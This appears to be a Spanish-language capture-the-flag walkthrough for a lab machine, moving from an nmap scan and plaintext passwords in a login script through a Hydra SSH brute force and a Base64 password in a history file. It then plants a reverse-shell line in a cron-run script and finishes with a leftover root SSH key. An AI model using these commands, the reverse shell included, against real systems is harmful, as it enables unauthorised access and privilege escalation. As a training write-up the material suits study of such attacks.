Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 13:25 EDT
Nmap scan report for bicho.dl (172.17.0.2)
Host is up (0.000060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:f6:3a:98:23:dc:8b:00:f0:5c:d5:50:07:f9:ec:e7 (ECDSA)
|_ 256 b0:4e:cb:2a:e0:ac:cf:4c:14:7b:23:57:00:6d:12:1d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: CyberGuard - Seguridad Digital
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Veremos que hay una pagina web alojada en el puerto 80, si entramos dentro veremos una pagina como de una empresa llamada ciberguard, aparentemente no veremos nada interesante, por lo que vamos a realizar un poco de fuzzing a ver si encontramos algo mas interesante.
Vemos que hay un panel de login en la pagina, por lo que podemos creer que puede haber alguna mala configuracion en algun script que maneje la autenticacion.
Si inspeccionamos el codigo y bajamos abajo del todo veremos esto:
<script src="archiv/script.js"></script>
Si entramos dentro veremos que esta realizando la validacion de las credenciales para entrar al panel de administracion, pero si bajamos abajo del todo, estara la lista de los usuarios validos con sus contraseñas en texto plano:
Por lo que vamos a probar a loguearnos con el usuario admin, si lo hacemos veremos que nos carga el panel de administracion de forma correcta.
Pero no veremos nada interesante, por lo que vamos a probar a crearnos un diccionario de usuarios y passwords a ver si de las que estan publicas puede haber alguna que sea valida a nivel de sistema.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-07 13:48:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: chloe password: chloe123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-07 13:48:13
Veremos que hemos encontrado unas credenciales validas, por lo que vamos a conectarnos por SSH con dicho usuario.
SSH
ssh chloe@<IP>
Metemos como contraseña chloe123 y veremos que estamos dentro.
Escalate user veronica
Vamos a ver cuantos ususarios encontramos en el sistema:
Vemos que hay varios usuarios, pero si listamos la home entera veremos lo siguiente:
total 24
drwxr-xr-x 1 root root 4096 Apr 16 23:03 .
drwxr-xr-x 1 root root 4096 May 7 13:24 ..
drwxr-x--- 1 chloe chloe 4096 Apr 18 22:14 chloe
drwxr-x--- 1 pablo pablo 4096 May 2 18:11 pablo
drwxr-x--- 2 ubuntu ubuntu 4096 Jan 26 22:09 ubuntu
drwxr-xrwx 1 veronica veronica 4096 Apr 18 16:35 veronica
Vemos que en la carpeta del usuario llamado veronica tiene todos los permisos, si entramos dentro veremos varios archivos, si vamos leyendo cada uno de ellos, veremos uno muy interesante en esta parte.
cat .bash_history
Info:
dmVyb25pY2ExMjMK
Veremos que esta codificado en Base64, si lo decodificamos veremos:
veronica123
Pero no funcionara si lo intentamos, por lo que vamos a intentarlo directamente con el Base64.
su veronica
Metemos como contraseña dmVyb25pY2ExMjMK y veremos que seremos dicho usuario.
Escalate user pablo
Vamos a pasarnos el linpeas.sh a la maquina victima utilizando desde el host la herramienta scp.
Ahora ejecutamos lo siguiente para pasarnos el archivo.
scp linpeas.sh chloe@<IP>:/tmp
Metemos como contraseña chloe123 y veremos que funciono, ahora si vamos a la carpeta /tmp de la maquina victima, veremos el binario, lo ejecutaremos de la siguiente forma:
cd /tmp
chmod +x linpeas.sh
./linpeas.sh
De toda la informacion que nos da, vemos una cosa muy interesante, que sera la siguiente:
SHELL=/bin/sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
* * * * * pedro /home/veronica/.local/script-h.sh > /tmp/hora/hora.log 2>&1
Vemos que hay un crontab que esta ejecutando el usuario pablo un script que esta en la home de veronica, por lo que vamos a ver si hay alguna vulnerabilidad para ser el usuario pablo.
Vamos a ver que procesos estan sucediendo dentro del sistema con un script llamado pspy64.
Veremos que somos de dicho grupo por lo que podremos editar el script, vamos hacer lo siguiente para generar una reverse shell.
cd /home/veronica/.local/
nano script-h.sh
#Dentro del nano
#!/bin/bash
.............................<RESTO DE CODIGO>...................................
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
Lo guardamos y rapidamente nos ponemos a la escucha.
nc -lvnp <PORT>
Ahora solo tendremos que esperar un rato, despues de esperar, si vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 40728
bash: cannot set terminal process group (9878): Inappropriate ioctl for device
bash: no job control in this shell
pablo@31379bb8b4c2:~$ whoami
whoami
pablo
Veremos que somos el usuario pablo por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for pablo on 31379bb8b4c2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pablo may run the following commands on 31379bb8b4c2:
(ALL) NOPASSWD: /usr/bin/python3 /opt/nllns/clean_symlink.py *.jpg
Vemos que podemos ejecutar el binario python3 en la ruta absoluta establecida como el usuario root.
Si vamos a la carpeta /tmp veremos esto de aqui:
-rw------- 1 pablo pablo 3381 May 2 16:58 id_rsa
Vamos a probar si fuera la clave PEM del usuario root, por lo que nos la vamos a copiar y pegar en nuestra maquina host.
nano id_rsa
#Dentro del nano
<CLAVE_ID_RSA>
Lo guardamos y establecemos los permisos necesarios.
chmod 600 id_rsa
Ahora vamos a probar a meternos como root desde SSH con la clave PEM.
ssh -i id_rsa root@<IP>
Info:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.12.13-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri May 2 17:00:02 2025 from ::1
root@31379bb8b4c2:~# whoami
root
Con esto veremos que somos root por lo que habremos terminado la maquina.